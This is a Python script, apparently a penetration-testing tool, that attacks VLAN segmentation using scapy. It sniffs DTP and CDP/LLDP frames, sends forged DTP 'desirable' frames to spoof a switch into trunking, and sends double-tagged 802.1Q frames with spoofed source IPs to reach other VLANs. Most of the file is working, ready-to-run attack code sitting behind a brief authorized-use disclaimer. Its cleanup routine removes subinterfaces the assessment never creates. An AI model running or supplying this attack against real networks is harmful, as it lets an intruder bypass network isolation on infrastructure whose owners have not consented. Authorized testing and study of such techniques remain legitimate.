#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""VLAN hopping assessment agent using scapy for DTP and double-tagging tests."""

import subprocess
import sys
from datetime import datetime

try:
    from scapy.all import (
        Ether, Dot1Q, IP, ICMP, sendp, sniff, get_if_hwaddr,
        conf, LLC, SNAP, Raw
    )
except ImportError:
    print("Install: pip install scapy")
    sys.exit(1)


def get_interface_info(iface="eth0"):
    """Get network interface details."""
    mac = get_if_hwaddr(iface)
    result = subprocess.run(
        ["ip", "link", "show", iface], capture_output=True, text=True,
        timeout=120,
    )
    return {"interface": iface, "mac": mac, "status": result.stdout.strip()}


def check_vlan_config(iface="eth0"):
    """Check current VLAN configuration on the interface."""
    vlan_config = None
    try:
        with open("/proc/net/vlan/config", "r") as f:
            vlan_config = f.read()
    except FileNotFoundError:
        pass
    return {"vlan_config": vlan_config}


def listen_for_dtp(iface="eth0", timeout=30):
    """Listen for DTP frames to assess trunk negotiation status."""
    dtp_frames = []
    def dtp_handler(pkt):
        if pkt.haslayer(LLC):
            dtp_frames.append({
                "src": pkt[Ether].src,
                "dst": pkt[Ether].dst,
                "time": str(datetime.now()),
            })
    sniff(iface=iface, filter="ether dst 01:00:0c:cc:cc:cc",
          prn=dtp_handler, timeout=timeout, store=0)
    return {
        "dtp_frames_received": len(dtp_frames),
        "dtp_active": len(dtp_frames) > 0,
        "details": dtp_frames,
    }


def listen_for_cdp_lldp(iface="eth0", timeout=60):
    """Capture CDP/LLDP frames to discover switch information."""
    discovery_frames = []
    def handler(pkt):
        discovery_frames.append({
            "src": pkt[Ether].src,
            "type": hex(pkt[Ether].type) if pkt[Ether].type else "LLC",
            "time": str(datetime.now()),
            "length": len(pkt),
        })
    sniff(iface=iface,
          filter="ether proto 0x88cc or (ether dst 01:00:0c:cc:cc:cc)",
          prn=handler, timeout=timeout, store=0)
    return {"frames": discovery_frames, "switch_discovered": len(discovery_frames) > 0}


def send_dtp_desirable(iface="eth0", count=10):
    """Send DTP desirable frames to attempt trunk negotiation."""
    mac = get_if_hwaddr(iface)
    dtp_frame = (
        Ether(dst="01:00:0c:cc:cc:cc", src=mac) /
        LLC(dsap=0xAA, ssap=0xAA, ctrl=3) /
        SNAP(OUI=0x00000C, code=0x2004) /
        Raw(load=bytes([
            0x00, 0x01, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x02, 0x00, 0x05, 0x03,
            0x00, 0x03, 0x00, 0x05, 0xA5,
            0x00, 0x04, 0x00, 0x0A,
        ]) + bytes.fromhex(mac.replace(":", "")))
    )
    sendp(dtp_frame, iface=iface, count=count, inter=1, verbose=False)
    return {"frames_sent": count, "type": "DTP Desirable", "interface": iface}


def create_vlan_interface(iface, vlan_id, ip_addr):
    """Create a VLAN subinterface."""
    subprocess.run(["modprobe", "8021q"], capture_output=True, timeout=120)
    vlan_iface = f"{iface}.{vlan_id}"
    subprocess.run(
        ["ip", "link", "add", "link", iface, "name", vlan_iface,
         "type", "vlan", "id", str(vlan_id)],
        capture_output=True,
        timeout=120,
    )
    subprocess.run(
        ["ip", "addr", "add", f"{ip_addr}/24", "dev", vlan_iface],
        capture_output=True,
        timeout=120,
    )
    subprocess.run(["ip", "link", "set", vlan_iface, "up"], capture_output=True, timeout=120)
    return {"vlan_interface": vlan_iface, "vlan_id": vlan_id, "ip": ip_addr}


def send_double_tagged(iface, outer_vlan, inner_vlan, target_ip):
    """Send double-tagged 802.1Q frames for VLAN hopping."""
    mac = get_if_hwaddr(iface)
    pkt = (
        Ether(dst="ff:ff:ff:ff:ff:ff", src=mac) /
        Dot1Q(vlan=outer_vlan) /
        Dot1Q(vlan=inner_vlan) /
        IP(dst=target_ip, src=f"10.10.{inner_vlan}.99") /
        ICMP(type=8)
    )
    sendp(pkt, iface=iface, count=5, inter=1, verbose=False)
    return {
        "type": "Double Tagged",
        "outer_vlan": outer_vlan,
        "inner_vlan": inner_vlan,
        "target_ip": target_ip,
        "note": "Unidirectional - no responses expected",
    }


def cleanup_vlan_interfaces(iface, vlan_ids):
    """Remove VLAN subinterfaces created during testing."""
    removed = []
    for vid in vlan_ids:
        vlan_iface = f"{iface}.{vid}"
        result = subprocess.run(
            ["ip", "link", "del", vlan_iface], capture_output=True,
            timeout=120,
        )
        removed.append({"interface": vlan_iface, "success": result.returncode == 0})
    return removed


def run_assessment(iface="eth0", target_vlans=None, target_ips=None):
    """Run full VLAN hopping assessment."""
    if target_vlans is None:
        target_vlans = [10, 20]
    if target_ips is None:
        target_ips = {10: "10.10.10.1", 20: "10.10.20.1"}
    report = {
        "timestamp": datetime.now().isoformat(),
        "interface": get_interface_info(iface),
        "tests": [],
    }
    dtp_listen = listen_for_dtp(iface, timeout=15)
    report["tests"].append({"test": "DTP Listening", "result": dtp_listen})
    dtp_send = send_dtp_desirable(iface)
    report["tests"].append({"test": "DTP Switch Spoofing", "result": dtp_send})
    for vlan_id in target_vlans:
        ip = target_ips.get(vlan_id, f"10.10.{vlan_id}.1")
        dt_result = send_double_tagged(iface, 1, vlan_id, ip)
        report["tests"].append({"test": f"Double Tagging VLAN {vlan_id}", "result": dt_result})
    cleanup_vlan_interfaces(iface, target_vlans)
    return report


def print_report(report):
    print("VLAN Hopping Assessment Report")
    print("=" * 50)
    print(f"Date: {report['timestamp']}")
    print(f"Interface: {report['interface']['interface']} ({report['interface']['mac']})")
    for test in report["tests"]:
        print(f"\n--- {test['test']} ---")
        for k, v in test["result"].items():
            print(f"  {k}: {v}")


if __name__ == "__main__":
    iface = sys.argv[1] if len(sys.argv) > 1 else "eth0"
    result = run_assessment(iface)
    print_report(result)
